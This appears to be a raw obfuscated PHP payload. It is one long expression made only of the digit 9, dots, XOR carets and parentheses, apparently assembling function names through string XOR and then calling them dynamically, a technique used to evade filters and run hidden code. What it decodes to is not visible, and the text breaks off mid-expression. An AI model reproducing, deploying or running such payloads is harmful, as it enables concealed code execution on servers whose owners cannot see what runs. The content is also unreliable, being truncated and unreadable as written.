.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((99.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9))).(.9)))^(((((((((9).(.9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))^99).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((9).(.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9)))^(((((9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((9).(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9))).(.9)))^(((((((99.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((((9).(.9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))^99).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((.9).(9)^(9).(9)))).(.9)))^(9^9))^(((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((.9).(9)^(9).(9)))^(9^9))^(99^(9^9))^(9^9))^(9^9))^(((((9.9).(9)^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((9).(.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9)))^(((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(9^9))^((((9.9).(9)^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9)))^(((99.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(9^9))^(9^9))).(.9))).(.9))))((((((((9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((99.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9)))^(((((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((.9).(9)^(9).(9)))^(9^9))^(9^(9^9))^(9^9))^((((9.9).(9)^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9)))^(((99.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(9^9))).(.9)))^(((((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((9).(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9)))^((((9).(.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9)))^(((((((99.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((((9).(.9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))^99).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((.9).(9)^(9).(9)))).(.9)))^(9^9))^(((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((.9).(9)^(9).(9)))^(9^9))^(99^(9^9))^(9^9))^(9^9))^(((((9.9).(9)^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((9).(.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9)))^(((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(9^9))^((((9.9).(9)^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9)))^(((99.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(9^9))^(9^9))).(.9))).(.9))).((((((9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((99.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9)))^(((((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((.9).(9)^(9).(9)))^(9^9))^(9^(9^9))^(9^9))^((((9.9).(9)^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9)))^(((99.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(9^9))).(.9)))^(((((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((9).(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9)))^((((99.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9)))^((((((9.9).(9)^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9)))^(((99.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(9^9))^((((99.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((((9).(.9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))^99).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((.9).(9)^(9).(9)))).(.9)))^(9^9))).(.9))).(.9)))).(((((((9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((((((9).(.9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))^99).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((99.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9))).(.9)))^(((((((99.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((((9).(.9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))^99).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((.9).(9)^(9).(9)))).(.9)))^(9^9))^(((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((.9).(9)^(9).(9)))^(9^9))^(99^(9^9))^(9^9))^(9^9))^(((((9.9).(9)^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((9).(.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9)))^(((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(9^9))^((((9.9).(9)^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9)))^(((99.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(9^9))^(9^9))).(.9))).(((((((((9).(.9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))^99).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((.9).(9)^(9).(9)))).(.9)))^((((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((.9).(9)^(9).(9)))^(9^9))^(99^(9^9))).(.9)))^((((((9.9).(9)^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((9).(.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9)))^(((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(9^9))^((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((.9).(9)^(9).(9)))^(9^9))).(.9)))^(((((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((9).(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9)))^(((((9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((99.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9))).(.9)))^(((((((((9).(.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((.9).(9)^(9).(9)))).(.9)))^((((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((.9).(9)^(9).(9)))^(9^9))^(99^(9^9))).(.9)))^((((9.9).(9)^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((9).(.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9)))^((((.9).(9)^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((((9).(.9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))^99).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9))).(.9)))^(9^9))^(((((99.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((((9).(.9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))^99).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((.9).(9)^(9).(9)))).(.9)))^(9^9))^(((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((.9).(9)^(9).(9)))^(9^9))^(99^(9^9))^(9^9))^(9^9))^(9^9))^(((((9.9).(9)^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9)))^((((((9.9).(9)^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((9).(.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9)))^(((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(9^9))^((((99.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((((9).(.9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))^99).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((.9).(9)^(9).(9)))).(.9)))^(9^9))).(.9)))^(((((9.9).(9)^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9)))^((((((9).(.9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))^99).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9)))^((((((9.9).(9)^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9)))^(((99.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(9^9))^((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((.9).(9)^(9).(9)))^(9^9))).(.9)))^(9^9))).(.9))).(.9))))(((((.9).(9)^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((9).(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9)))))).((((((9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((99.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9))).(.9)))^(((((((((9).(.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((.9).(9)^(9).(9)))).(.9)))^((((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((.9).(9)^(9).(9)))^(9^9))^(99^(9^9))).(.9)))^((((9.9).(9)^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((9).(.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9)))^((((.9).(9)^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((((9).(.9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))^99).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9))).(.9)))^(9^9))^(((((99.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((((9).(.9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))^99).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((.9).(9)^(9).(9)))).(.9)))^(9^9))^(((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((.9).(9)^(9).(9)))^(9^9))^(99^(9^9))^(9^9))^(9^9))^(9^9))^(((((9.9).(9)^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9)))^((((((9.9).(9)^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((9).(.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9)))^(((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(9^9))^((((99.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((((9).(.9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))^99).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((.9).(9)^(9).(9)))).(.9)))^(9^9))).(.9)))^(((((9.9).(9)^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9)))^((((((9).(.9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))^99).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9)))^((((((9.9).(9)^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9)))^(((99.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(9^9))^((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((.9).(9)^(9).(9)))^(9^9))).(.9)))^(9^9))).(.9)))).(((9.9).(9)^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9))^((((((9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((((((9).(.9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))^99).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((99.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9))).(.9)))^(((((((99.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((((9).(.9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))^99).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((.9).(9)^(9).(9)))).(.9)))^(9^9))^(((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((.9).(9)^(9).(9)))^(9^9))^(99^(9^9))^(9^9))^(9^9))^(((((9.9).(9)^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((9).(.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9)))^(((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(9^9))^((((9.9).(9)^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9)))^(((99.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(9^9))^(9^9))).(.9))).(((((((((9).(.9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))^99).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((.9).(9)^(9).(9)))).(.9)))^((((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((.9).(9)^(9).(9)))^(9^9))^(99^(9^9))).(.9)))^((((((9.9).(9)^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((9).(.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9)))^(((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(9^9))^((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((.9).(9)^(9).(9)))^(9^9))).(.9)))^(((((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((9).(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9)))^(((((9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((99.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9))).(.9)))^(((((((((9).(.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((.9).(9)^(9).(9)))).(.9)))^((((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((.9).(9)^(9).(9)))^(9^9))^(99^(9^9))).(.9)))^((((9.9).(9)^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((9).(.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9)))^((((.9).(9)^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((((9).(.9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))^99).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9))).(.9)))^(9^9))^(((((99.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((((9).(.9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))^99).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((.9).(9)^(9).(9)))).(.9)))^(9^9))^(((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((.9).(9)^(9).(9)))^(9^9))^(99^(9^9))^(9^9))^(9^9))^(9^9))^(((((9.9).(9)^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9)))^((((((9.9).(9)^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((9).(.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9)))^(((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(9^9))^((((99.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((((9).(.9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))^99).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((.9).(9)^(9).(9)))).(.9)))^(9^9))).(.9)))^(((((9.9).(9)^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9)))^((((((9).(.9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))^99).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9)))^((((((9.9).(9)^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9)))^(((99.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(9^9))^((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((.9).(9)^(9).(9)))^(9^9))).(.9)))^(9^9))).(.9))).(.9))))((((((9.9).(9)^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((.9).(9)^(9).(9)))^(9^9))^(99^(9^9))).(.9)))^(((9^(9^9))^((((9.9).(9)^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9)))^(((99.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(9^9))).(.9)))))^((((((9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((((((9).(.9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))^99).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((99.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9))).(.9)))^(((((((99.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((((9).(.9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))^99).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((.9).(9)^(9).(9)))).(.9)))^(9^9))^(((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((.9).(9)^(9).(9)))^(9^9))^(99^(9^9))^(9^9))^(9^9))^(((((9.9).(9)^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((9).(.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9)))^(((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(9^9))^((((9.9).(9)^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9)))^(((99.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(9^9))^(9^9))).(.9))).(((((((((9).(.9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))^99).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((.9).(9)^(9).(9)))).(.9)))^((((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((.9).(9)^(9).(9)))^(9^9))^(99^(9^9))).(.9)))^((((((9.9).(9)^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((9).(.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9)))^(((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(9^9))^((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((.9).(9)^(9).(9)))^(9^9))).(.9)))^(((((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((9).(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9)))^(((((9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((99.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9))).(.9)))^(((((((((9).(.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((.9).(9)^(9).(9)))).(.9)))^((((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((.9).(9)^(9).(9)))^(9^9))^(99^(9^9))).(.9)))^((((9.9).(9)^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((9).(.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9)))^((((.9).(9)^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((((9).(.9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))^99).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9))).(.9)))^(9^9))^(((((99.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((((9).(.9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))^99).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((.9).(9)^(9).(9)))).(.9)))^(9^9))^(((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((.9).(9)^(9).(9)))^(9^9))^(99^(9^9))^(9^9))^(9^9))^(9^9))^(((((9.9).(9)^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9)))^((((((9.9).(9)^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((9).(.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9)))^(((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(9^9))^((((99.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((((9).(.9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))^99).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((.9).(9)^(9).(9)))).(.9)))^(9^9))).(.9)))^(((((9.9).(9)^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9)))^((((((9).(.9))^(((.9).(9)^(9).(9